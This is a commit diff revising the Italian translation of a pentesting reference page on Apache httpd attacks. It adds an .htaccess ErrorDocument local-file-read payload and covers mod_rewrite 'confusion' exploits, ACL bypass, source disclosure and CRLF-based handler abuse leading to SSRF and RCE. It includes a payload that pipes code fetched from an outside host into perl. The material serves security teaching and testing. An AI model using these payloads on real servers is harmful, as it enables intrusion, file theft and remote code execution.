Translated ['', 'src/linux-hardening/privilege-escalation/README.md', 's

2025-10-10 18:36:50 +00:00 · 2025-08-28 18:50:17 +00:00 · 2025-08-28 18:50:17 +00:00 · 0c99736564
commit 0c99736564
parent bb760ece9c
2 changed files with 419 additions and 377 deletions
--- a/src/linux-hardening/privilege-escalation/README.md
+++ b/src/linux-hardening/privilege-escalation/README.md
--- a/src/network-services-pentesting/pentesting-web/apache.md
+++ b/src/network-services-pentesting/pentesting-web/apache.md
@ -4,11 +4,11 @@

 ## Estensioni PHP eseguibili

-Controlla quali estensioni sta eseguendo il server Apache. Per cercarle puoi eseguire:
+Verifica quali estensioni sta eseguendo il server Apache. Per cercarle puoi eseguire:
 ```bash
 grep -R -B1 "httpd-php" /etc/apache2
 ```
-Inoltre, alcuni luoghi in cui puoi trovare questa configurazione sono:
+Inoltre, alcuni posti in cui è possibile trovare questa configurazione sono:
 ```bash
 /etc/apache2/mods-available/php5.conf
 /etc/apache2/mods-enabled/php5.conf
@ -21,19 +21,47 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con
 uid=1(daemon) gid=1(daemon) groups=1(daemon)
 Linux
 ```
+## LFI via .htaccess ErrorDocument file provider (ap_expr)
+
+Se puoi controllare il .htaccess di una directory e AllowOverride include FileInfo per quel percorso, puoi trasformare le risposte 404 in letture arbitrarie di file locali usando la funzione ap_expr file() all'interno di ErrorDocument.
+
+- Requisiti:
+- Apache 2.4 con parser di espressioni (ap_expr) abilitato (default in 2.4).
+- The vhost/dir must allow .htaccess to set ErrorDocument (AllowOverride FileInfo).
+- L'utente worker di Apache deve avere permessi di lettura sul file di destinazione.
+
+.htaccess payload:
+```apache
+# Optional marker header just to identify your tenant/request path
+Header always set X-Debug-Tenant "demo"
+# On any 404 under this directory, return the contents of an absolute filesystem path
+ErrorDocument 404 %{file:/etc/passwd}
+```
+Si verifica richiedendo qualsiasi percorso non esistente sotto quella directory, per esempio quando si abusa di userdir-style hosting:
+```bash
+curl -s http://target/~user/does-not-exist | sed -n '1,20p'
+```
+Notes and tips:
+- Funzionano solo i percorsi assoluti. Il contenuto viene restituito come response body per il 404 handler.
+- I permessi di lettura effettivi sono quelli dell'utente Apache (tipicamente www-data/apache). Non potrai leggere /root/* o /etc/shadow nelle configurazioni di default.
+- Anche se .htaccess è root-owned, se la directory padre è tenant-owned e permette il rename, potresti essere in grado di rinominare il .htaccess originale e caricare il tuo sostituto via SFTP/FTP:
+- rename .htaccess .htaccess.bk
+- put your malicious .htaccess
+- Usa questo per leggere il source dell'applicazione sotto DocumentRoot o i percorsi di configurazione vhost per raccogliere segreti (DB creds, API keys, ecc.).
+
 ## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>

-Questi tipi di attacchi sono stati introdotti e documentati [**da Orange in questo post del blog**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) e quanto segue è un riassunto. L'attacco "confusion" sfrutta fondamentalmente come i decine di moduli che lavorano insieme per creare un Apache non funzionano perfettamente sincronizzati e far modificare a alcuni di essi dei dati inaspettati può causare una vulnerabilità in un modulo successivo.
+These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. L'attacco "confusion" sostanzialmente abusa del fatto che le decine di module che lavorano insieme per creare un Apache non sono perfettamente sincronizzate: la modifica di dati inaspettati da parte di alcuni di essi può causare una vulnerabilità in un modulo successivo.

 ### Filename Confusion

 #### Truncation

-Il **`mod_rewrite`** trimmerà il contenuto di `r->filename` dopo il carattere `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Questo non è totalmente sbagliato poiché la maggior parte dei moduli tratterà `r->filename` come un URL. Ma in altre occasioni questo sarà trattato come un percorso di file, il che causerebbe un problema.
+Il **`mod_rewrite`** tronca il contenuto di `r->filename` dopo il carattere `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Questo non è del tutto sbagliato, dato che la maggior parte dei moduli tratterà `r->filename` come un URL. Ma in altre occasioni sarà trattato come un percorso di file, il che può causare un problema.

 - **Path Truncation**

-È possibile abusare di `mod_rewrite` come nell'esempio di regola seguente per accedere ad altri file all'interno del file system, rimuovendo l'ultima parte del percorso previsto aggiungendo semplicemente un `?`:
+È possibile abusare di `mod_rewrite` come nel seguente esempio di regola per accedere ad altri file all'interno del file system, rimuovendo l'ultima parte del percorso previsto aggiungendo semplicemente un `?`:
 ```bash
 RewriteEngine On
 RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
@ -46,9 +74,9 @@ curl http://server/user/orange
 curl http://server/user/orange%2Fsecret.yml%3F
 # the output of file `/var/user/orange/secret.yml`
 ```
- **Assegnazione di RewriteFlag Fuorviante**
+- **Mislead RewriteFlag Assignment**

-Nella seguente regola di riscrittura, finché l'URL termina con .php verrà trattato ed eseguito come php. Pertanto, è possibile inviare un URL che termina con .php dopo il carattere `?` mentre si carica nel percorso un tipo di file diverso (come un'immagine) con codice php malevolo al suo interno:
+Nella seguente rewrite rule, fintanto che l'URL termina con .php verrà trattato ed eseguito come php. Pertanto, è possibile inviare un URL che termina con .php dopo il carattere `?` caricando nel path un tipo di file diverso (come un'immagine) con codice php malevolo al suo interno:
 ```bash
 RewriteEngine On
 RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]
@ -63,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php
 ```
 #### **ACL Bypass**

-È possibile accedere a file a cui l'utente non dovrebbe poter accedere, anche se l'accesso dovrebbe essere negato con configurazioni come:
+È possibile accedere a file che l'utente non dovrebbe poter visualizzare anche se l'accesso dovrebbe essere negato da configurazioni come:
 ```xml
 <Files "admin.php">
 AuthType Basic
@ -72,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd"
 Require valid-user
 </Files>
 ```
-Questo è perché per impostazione predefinita PHP-FPM riceverà URL che terminano con `.php`, come `http://server/admin.php%3Fooo.php` e poiché PHP-FPM rimuoverà tutto ciò che segue il carattere `?`, l'URL precedente permetterà di caricare `/admin.php` anche se la regola precedente lo proibiva.
+Ciò accade perché, per impostazione predefinita, PHP-FPM riceverà URL che terminano con `.php`, come `http://server/admin.php%3Fooo.php` e poiché PHP-FPM rimuoverà qualsiasi cosa dopo il carattere `?`, l'URL precedente permetterà di caricare /admin.php anche se la regola precedente lo proibiva.

-### DocumentRoot Confusion
+### Confusione con DocumentRoot
 ```bash
 DocumentRoot /var/www/html
 RewriteRule  ^/html/(.*)$   /$1.html
 ```
-Un fatto divertente su Apache è che la riscrittura precedente cercherà di accedere al file sia dalla documentRoot che dalla root. Quindi, una richiesta a `https://server/abouth.html` controllerà il file in `/var/www/html/about.html` e `/about.html` nel file system. Questo può essere sostanzialmente abusato per accedere ai file nel file system.
+Un fatto curioso su Apache è che la rewrite precedente proverà ad accedere al file sia dal documentRoot che dalla root. Quindi, una richiesta a `https://server/abouth.html` verificherà la presenza del file in `/var/www/html/about.html` e in `/about.html` nel file system. Il che sostanzialmente può essere abusato per accedere a file nel file system.

-#### **Divulgazione del Codice Sorgente Lato Server**
+#### **Divulgazione del codice sorgente lato server**

- **Divulgare il Codice Sorgente CGI**
+- **Rivelare il codice sorgente CGI**

-Basta aggiungere un %3F alla fine per rivelare il codice sorgente di un modulo cgi:
+Basta aggiungere %3F alla fine perché avvenga il leak del codice sorgente di un modulo cgi:
 ```bash
 curl http://server/cgi-bin/download.cgi
 # the processed result from download.cgi
@ -95,24 +123,24 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
 # ...
 # # the source code of download.cgi
 ```
- **Divulgare il codice sorgente PHP**
+- **Divulgare PHP Source Code**

-Se un server ha domini diversi, uno dei quali è un dominio statico, questo può essere sfruttato per attraversare il file system e divulgare codice php:
+Se un server ospita domini diversi e uno di essi è un dominio statico, questo può essere abusato per attraversare il file system e leak php code:
 ```bash
 # Leak the config.php file of the www.local domain from the static.local domain
 curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
 # the source code of config.php
 ```
-#### **Manipolazione dei Gadget Locali**
+#### **Local Gadgets Manipulation**

-Il problema principale con l'attacco precedente è che per impostazione predefinita la maggior parte degli accessi al filesystem sarà negata come nel [modello di configurazione](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) di Apache HTTP Server:
+Il problema principale con l'attacco precedente è che, per impostazione predefinita, la maggior parte degli accessi al filesystem viene negata come in Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115):
 ```xml
 <Directory />
 AllowOverride None
 Require all denied
 </Directory>
 ```
-Tuttavia, i sistemi operativi [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) consentono per impostazione predefinita `/usr/share`:
+Tuttavia, i sistemi operativi [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) per impostazione predefinita consentono `/usr/share`:
 ```xml
 <Directory /usr/share>
 AllowOverride None
@ -121,36 +149,36 @@ Require all granted
 ```
 Pertanto, sarebbe possibile **abusare dei file situati all'interno di `/usr/share` in queste distribuzioni.**

-**Gadget Locale per la Divulgazione di Informazioni**
+**Local Gadget to Information Disclosure**

- **Apache HTTP Server** con **websocketd** potrebbe esporre lo script **dump-env.php** a **/usr/share/doc/websocketd/examples/php/**, che può rivelare variabili ambientali sensibili.
- I server con **Nginx** o **Jetty** potrebbero esporre informazioni sensibili delle applicazioni web (ad es., **web.xml**) attraverso le loro radici web predefinite collocate sotto **/usr/share**:
+- **Apache HTTP Server** con **websocketd** può esporre lo script **dump-env.php** in **/usr/share/doc/websocketd/examples/php/**, che può causare il leak di variabili d'ambiente sensibili.
+- Server con **Nginx** o **Jetty** potrebbero esporre informazioni sensibili dell'applicazione web (es., **web.xml**) tramite le loro web root di default collocate sotto **/usr/share**:
 - **/usr/share/nginx/html/**
 - **/usr/share/jetty9/etc/**
 - **/usr/share/jetty9/webapps/**

-**Gadget Locale per XSS**
+**Local Gadget to XSS**

- Su Ubuntu Desktop con **LibreOffice installato**, sfruttare la funzione di cambio lingua dei file di aiuto può portare a **Cross-Site Scripting (XSS)**. Manipolare l'URL a **/usr/share/libreoffice/help/help.html** può reindirizzare a pagine dannose o versioni precedenti tramite **unsafe RewriteRule**.
+- Su Ubuntu Desktop con **LibreOffice installato**, sfruttare la funzionalità di cambio lingua nei file di help può portare a **Cross-Site Scripting (XSS)**. Manipolando l'URL in **/usr/share/libreoffice/help/help.html** è possibile reindirizzare verso pagine malevole o verso versioni precedenti tramite una **unsafe RewriteRule**.

-**Gadget Locale per LFI**
+**Local Gadget to LFI**

- Se PHP o alcuni pacchetti front-end come **JpGraph** o **jQuery-jFeed** sono installati, i loro file possono essere sfruttati per leggere file sensibili come **/etc/passwd**:
+- Se PHP o determinati pacchetti front-end come **JpGraph** o **jQuery-jFeed** sono installati, i loro file possono essere sfruttati per leggere file sensibili come **/etc/passwd**:
 - **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
 - **/usr/share/javascript/jquery-jfeed/proxy.php**
 - **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**

-**Gadget Locale per SSRF**
+**Local Gadget to SSRF**

- Utilizzando **MagpieRSS's magpie_debug.php** a **/usr/share/php/magpierss/scripts/magpie_debug.php**, è possibile creare facilmente una vulnerabilità SSRF, fornendo un gateway per ulteriori exploit.
+- Utilizzando **MagpieRSS's magpie_debug.php** in **/usr/share/php/magpierss/scripts/magpie_debug.php**, può essere creata facilmente una vulnerabilità SSRF, fornendo una via per exploit ulteriori.

-**Gadget Locale per RCE**
+**Local Gadget to RCE**

- Le opportunità per **Remote Code Execution (RCE)** sono vaste, con installazioni vulnerabili come un **PHPUnit** obsoleto o **phpLiteAdmin**. Questi possono essere sfruttati per eseguire codice arbitrario, mostrando l'ampio potenziale della manipolazione dei gadget locali.
+- Le opportunità per **Remote Code Execution (RCE)** sono vaste, con installazioni vulnerabili come una vecchia versione di **PHPUnit** o **phpLiteAdmin**. Queste possono essere sfruttate per eseguire codice arbitrario, dimostrando l'ampio potenziale nella manipolazione dei local gadgets.

-#### **Jailbreak dai Gadget Locali**
+#### **Jailbreak from Local Gadgets**

-È anche possibile effettuare un jailbreak dalle cartelle consentite seguendo i symlink generati dal software installato in quelle cartelle, come:
+È inoltre possibile effettuare il jailbreak dalle cartelle consentite seguendo i symlink generati dal software installato in quelle cartelle, come:

 - **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
 - **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
@ -158,55 +186,55 @@ Pertanto, sarebbe possibile **abusare dei file situati all'interno di `/usr/shar
 - **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
 - **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`

-Inoltre, abusando dei symlink è stato possibile ottenere **RCE in Redmine.**
+Inoltre, sfruttando i symlink è stato possibile ottenere **RCE in Redmine.**

-### Confusione del Gestore <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
+### Handler Confusion <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>

-Questo attacco sfrutta la sovrapposizione di funzionalità tra le direttive `AddHandler` e `AddType`, che possono entrambe essere utilizzate per **abilitare l'elaborazione PHP**. Originariamente, queste direttive influenzavano campi diversi (`r->handler` e `r->content_type` rispettivamente) nella struttura interna del server. Tuttavia, a causa di codice legacy, Apache gestisce queste direttive in modo intercambiabile in determinate condizioni, convertendo `r->content_type` in `r->handler` se il primo è impostato e il secondo non lo è.
+Questo attacco sfrutta la sovrapposizione di funzionalità tra le direttive `AddHandler` e `AddType`, entrambe possono essere utilizzate per **abilitare il processamento PHP**. Originariamente, queste direttive agivano su campi diversi (`r->handler` e `r->content_type` rispettivamente) nella struttura interna del server. Tuttavia, a causa di codice legacy, Apache tratta queste direttive in modo intercambiabile in certe condizioni, convertendo `r->content_type` in `r->handler` se il primo è impostato e il secondo no.

-Inoltre, nel server Apache HTTP (`server/config.c#L420`), se `r->handler` è vuoto prima di eseguire `ap_run_handler()`, il server **usa `r->content_type` come gestore**, rendendo di fatto `AddType` e `AddHandler` identici negli effetti.
+Inoltre, nell'Apache HTTP Server (`server/config.c#L420`), se `r->handler` è vuoto prima dell'esecuzione di `ap_run_handler()`, il server **usa `r->content_type` come handler**, rendendo di fatto `AddType` e `AddHandler` identici nel loro effetto.

-#### **Sovrascrivere il Gestore per Divulgare il Codice Sorgente PHP**
+#### **Overwrite Handler to Disclose PHP Source Code**

-In [**questo intervento**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), è stata presentata una vulnerabilità in cui un errato `Content-Length` inviato da un client può causare ad Apache di restituire erroneamente **il codice sorgente PHP**. Questo è avvenuto a causa di un problema di gestione degli errori con ModSecurity e l'Apache Portable Runtime (APR), dove una doppia risposta porta a sovrascrivere `r->content_type` in `text/html`.\
-Poiché ModSecurity non gestisce correttamente i valori di ritorno, restituirebbe il codice PHP e non lo interpreterebbe.
+In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), è stata presentata una vulnerabilità in cui un `Content-Length` errato inviato da un client può causare che Apache erroneamente **restituisca il codice sorgente PHP**. Ciò era dovuto a un problema di gestione degli errori con ModSecurity e l'Apache Portable Runtime (APR), dove una doppia risposta porta a sovrascrivere `r->content_type` a `text/html`.\
+Poiché ModSecurity non gestisce correttamente i valori di ritorno, restituirebbe il codice PHP senza interpretarlo.

-#### **Sovrascrivere il Gestore per XXXX**
+#### **Overwrite Handler to XXXX**

 TODO: Orange non ha ancora divulgato questa vulnerabilità

-### **Invocare Gestori Arbitrari**
+### **Invoke Arbitrary Handlers**

-Se un attaccante è in grado di controllare l'intestazione **`Content-Type`** in una risposta del server, sarà in grado di **invocare gestori di moduli arbitrari**. Tuttavia, nel momento in cui l'attaccante controlla questo, la maggior parte del processo della richiesta sarà già stata eseguita. Tuttavia, è possibile **riavviare il processo di richiesta abusando dell'intestazione `Location`** perché se lo **status** restituito è 200 e l'intestazione `Location` inizia con un `/`, la risposta viene trattata come una Redirezione Lato Server e dovrebbe essere elaborata.
+Se un attacker è in grado di controllare l'intestazione **`Content-Type`** in una risposta del server sarà in grado di **invocare arbitrary module handlers**. Tuttavia, al punto in cui l'attacker controlla questo, la maggior parte del processo della request sarà già stata eseguita. È comunque possibile **riavviare il processo della request abusando dell'intestazione `Location`** perché se lo `Status` restituito è 200 e l'intestazione `Location` inizia con `/`, la risposta è trattata come una Server-Side Redirection e dovrebbe essere processata

-Secondo [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specifica sui CGI) nella [Sezione 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) definisce un comportamento di Risposta di Redirect Locale:
+Secondo [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specifica su CGI) nella [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) viene definito il comportamento di Local Redirect Response:

-> Lo script CGI può restituire un percorso URI e una query-string (‘local-pathquery’) per una risorsa locale in un campo intestazione Location. Questo indica al server che dovrebbe rielaborare la richiesta utilizzando il percorso specificato.
+> The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.

-Pertanto, per eseguire questo attacco è necessaria una delle seguenti vulnerabilità:
+Pertanto, per eseguire questo attacco è necessario uno dei seguenti vulns:

- Iniezione CRLF nelle intestazioni di risposta CGI
- SSRF con completo controllo delle intestazioni di risposta
+- CRLF Injection nella response headers del CGI
+- SSRF con controllo completo delle response headers

-#### **Gestore Arbitrario per la Divulgazione di Informazioni**
+#### **Arbitrary Handler to Information Disclosure**

-Ad esempio, `/server-status` dovrebbe essere accessibile solo localmente:
+Per esempio, `/server-status` dovrebbe essere accessibile solo localmente:
 ```xml
 <Location /server-status>
 SetHandler server-status
 Require local
 </Location>
 ```
-È possibile accedervi impostando il `Content-Type` su `server-status` e l'intestazione Location che inizia con `/`
+È possibile accedervi impostando il `Content-Type` su `server-status` e il Location header che inizi con `/`.
 ```
 http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
 Location:/ooo %0d%0a
 Content-Type:server-status %0d%0a
 %0d%0a
 ```
-#### **Gestore Arbitrario per Full SSRF**
+#### **Da Handler arbitrario a Full SSRF**

-Reindirizzamento a `mod_proxy` per accedere a qualsiasi protocollo su qualsiasi URL:
+Reindirizzando verso `mod_proxy` per accedere a qualsiasi protocollo su qualsiasi URL:
 ```
 http://server/cgi-bin/redir.cgi?r=http://%0d%0a
 Location:/ooo %0d%0a
@ -215,20 +243,20 @@ http://example.com/%3F
 %0d%0a
 %0d%0a
 ```
-Tuttavia, l'intestazione `X-Forwarded-For` viene aggiunta per prevenire l'accesso agli endpoint dei metadati del cloud.
+Tuttavia, viene aggiunta l'intestazione `X-Forwarded-For`, che impedisce l'accesso agli endpoint dei metadata cloud.

-#### **Gestore Arbitrario per Accedere al Socket di Dominio Unix Locale**
+#### **Handler arbitrario per accedere al Unix Domain Socket locale**

-Accedi al Socket di Dominio Unix locale di PHP-FPM per eseguire un backdoor PHP situato in `/tmp/`:
+Accedi al Unix Domain Socket locale di PHP-FPM per eseguire una backdoor PHP situata in `/tmp/`:
 ```
 http://server/cgi-bin/redir.cgi?r=http://%0d%0a
 Location:/ooo %0d%0a
 Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
 %0d%0a
 ```
-#### **Gestore Arbitrario per RCE**
+#### **Arbitrary Handler to RCE**

-L'immagine ufficiale [PHP Docker](https://hub.docker.com/_/php) include PEAR (`Pearcmd.php`), uno strumento di gestione dei pacchetti PHP da riga di comando, che può essere sfruttato per ottenere RCE:
+L'immagine ufficiale [PHP Docker](https://hub.docker.com/_/php) include PEAR (`Pearcmd.php`), uno strumento da riga di comando per la gestione di pacchetti PHP, che può essere abusato per ottenere RCE:
 ```
 http://server/cgi-bin/redir.cgi?r=http://%0d%0a
 Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
@ -237,10 +265,13 @@ orange.tw/x|perl
 Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
 %0d%0a
 ```
-Controlla [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), scritto da [Phith0n](https://x.com/phithon_xg) per i dettagli di questa tecnica.
+Consulta [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), scritto da [Phith0n](https://x.com/phithon_xg) per i dettagli di questa tecnica.

 ## Riferimenti

 - [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
+- [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html)
+- [Apache 2.4 Expressions and functions (file:)](https://httpd.apache.org/docs/2.4/expr.html)
+- [HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse](https://0xdf.gitlab.io/2025/08/12/htb-zero.html)

 {{#include ../../banners/hacktricks-training.md}}